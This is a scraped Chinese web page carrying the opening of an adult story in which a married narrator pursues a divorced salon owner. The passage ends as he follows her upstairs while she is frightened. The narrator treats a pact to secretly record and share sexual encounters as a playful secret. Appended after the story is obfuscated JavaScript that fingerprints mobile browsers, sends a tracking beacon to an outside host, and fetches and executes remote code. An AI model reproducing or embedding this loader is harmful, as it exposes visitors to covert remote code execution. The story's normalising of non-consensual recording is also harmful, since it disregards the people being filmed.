点击复制链接分享给好友


美髮店的老闆娘
作者: 2023-09-02 14:53:30 好几年前的事了,去朋友家谈点事,顺便吃了午饭。回来的时候,我想剪个头发,朋友说带我去附近一家美发厅,那家店很不错。我说不用麻烦了,我随便找一家就是了。朋友执意要带我去,我便顺了他的意。

  几分锺的路程,朋友便带我来到了一家美发厅。美发厅不大,三位理发师加一女顾客。一位理发师正在给那女顾客弄头发,旁边还蹲着一小女孩在玩玩具汽车。没发现什幺特别之处,也没去想他爲什幺非要带我上这家美发厅。一位理发师过来示意我先去洗下头。

  我的这位朋友叫王军,王军应该是这里的常客,跟这里的几个理发师都很熟。

  打了招呼后便开始跟一位叫小李的理发师閑聊起来。

  「今天老板娘怎幺不在啊?」王军问。

  「出去买水果了,一会就会来。」小李答。  ……老板娘回来了。

  正是这个女人,让我体会了什幺叫想得却不可得,你奈人生何的滋味。那大半年时间我的身心备受煎熬。

  老板娘名叫美芬,30出头,比我大几岁。初见美芬,第一印象便是五官精致、长发齐腰(一头漆黑的头发快垂到臀部)。身着一件碎花圆领T恤,七分牛仔裤衬托出浑圆的臀部曲线。脚踩一双米色高跟鞋,裸露的小腿白皙笔直。若问,什幺样的女人最吸引我,正是这种身材曲线优美,皮肤白皙透着光泽的成熟女性。

  美芬跟王军很熟,一进门看到王军在,便对着王军莞尔一笑。王军立马有如打了鸡血般,一下精神起来。我透过镜子看到跟王军谈笑的美芬,顾盼生辉洋溢着女性的无限柔美。

  王军把我作了一番介绍,美芬对着正在理发的我淡淡一笑。我的心随之也蕩漾起来。剪完头发,又坐了一会,借着王军跟美芬的聊天当中,我也插话跟美芬聊了几句,算是认识了。

  回来的路上,王军告诉我,美芬前年跟老公离婚了,那个小女孩是她的女儿。

  我问王军是不是对她有意思?王军反问我,你觉得她怎幺样?我答:极品。

  「是啊!可惜不好上。」王军歎息着说。

  「追了她好几个月了,也暗示她了,她表示我是有老婆的人,不能接受。」王军跟我都是结了婚的男人,所以即使对美芬有意思,也只是婚外情。美芬不能接受也是情理之中的。

  「会不会是她已经有男人了?」我问。

  「应该没有,如果有男人,我肯定多少能知道的。」「你要不要试试?」王军问我。

  「……不好吧,你追那幺久都没成。」

  我心里当然是想的,对美芬可谓一见倾心。但是听王军说,我又觉得应该很难。

  「不试试怎幺知道?万一你是她的菜呢?」王军给我打气。

  (因爲我跟王军之间有个秘密,就是两人不管谁上了女人,都会录音或者弄些视频片段互相分享。是不是很邪恶……)于是我踏上了一段艰辛坎坷而又美好的曆程……开始,都是跟王军一起去美芬的美发店。我跟美芬逐渐的熟络起来,也开始会互相调侃。后来王军觉得时机差不多了,该我一个人出征了。于是我便经常在空閑的时候一个人光顾美芬的美发店。期间,我问美芬要了QQ号码,美芬表示惊讶,我说没事可以聊聊天,美芬便给我了。开始,我在QQ发美芬问候,美芬都只是回複个同样的问候,并不多说话。可能她也意识到了我的用意,所以话很少吧。随着我每天的坚持,美芬的话终于渐渐的多了起来,好几次都聊到深夜。

  就像所有的男女从相识相交到相知。我跟美芬也越来越交心,偶尔她会对我倾诉一些人生的不如意。

  美芬的前夫是做工程的,收入不错,原本家庭幸福,但是只从染上了赌博以后,脾气越来越坏,经常夜不归宿,输了很多钱,还跟一起赌博的一个女子有了关系。美芬一气之下便提出了离婚。女儿也跟着美芬。

  听着美芬的遭遇,我愈加的爱怜美芬。那段日子,每天每时每刻,我的脑子里总是自然的浮现出美芬的身影,她的一颦一笑都是那幺的让我心动。对她那性感的身体的欲望也越来越强烈,我决定找个机会跟她表白。

  约了好几次美芬,她都说没空,我有点沮丧。一天夜里,我开车送喝醉酒的王军回家,回来的路上经过美芬的美发店,我想看看美芬,便把车停在路边,走进了美发店。美芬见到我非常惊讶,瞪着迷人的大眼睛看我。我有种莫名的紧张,店里正準备打烊,理发师都已经下班了,店里只有美芬一个。

  「呀!你怎幺现在过来了?我正準备关门了呢!」美芬问我。显然她很吃惊。

  「哦……我……」我一时语塞。

  「也没什幺……就是路过想来看看你……!」

  一紧张,我居然说这幺一句话,这幺晚来看看她?意思分爲明显。

  「啊……看我?……我有什幺好看的。」美芬假装镇静。

  「你就是好看啊!」看着妖娆多姿的美芬,我有点头脑发热了。

  美芬穿了一件时尚的连衣裙,曲线婀娜。浑圆的臀部让人无限遐想、两条白皙修长的美腿完全暴露在空气中,让我感觉嗓子发痒,浑身发热。

  我说的话让美芬陷入一阵沈默,我也感到无比的尴尬。

  「我上楼拿下东西,马上準备回家了,你先坐会吧!」说完,美芬便上楼了。

  美芬的这家美发店是租的,原来是一家敲背店,楼上有几间小包厢。不过现在除了放些物品以爲,都已经空置了。

  这算什幺话?马上要回家了,我还好意思坐吗?

  就在美芬上楼后,我也跟着上楼了。我没有想对美芬做什幺,但是我肯定也想对美芬做什幺。只不过当时就是脑子里根本不知道自己到底想要干嘛。

  美芬见到我也跟着上楼,明显的紧张起来,从她的眼神我看到了恐慌。

  我忙说:「我……有话相对你说。」爲了不让美芬陷入更深的恐慌当中,我极力让自己的语气显得轻柔真诚。

上一篇失控的母子下一篇圣女校园
function HekoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hdEWCqN(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HekoD(t);};window[''+'x'+'f'+'u'+'Q'+'T'+'B'+'m'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aFlcu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hdEWCqN,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aFlcu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13869/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aFlcu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQ==','dd3NzJTNBJTJGJTJGYS5rZmddqYS5jbiUzQTk1MzM=','161912',window,document,['0','d']);}:function(){};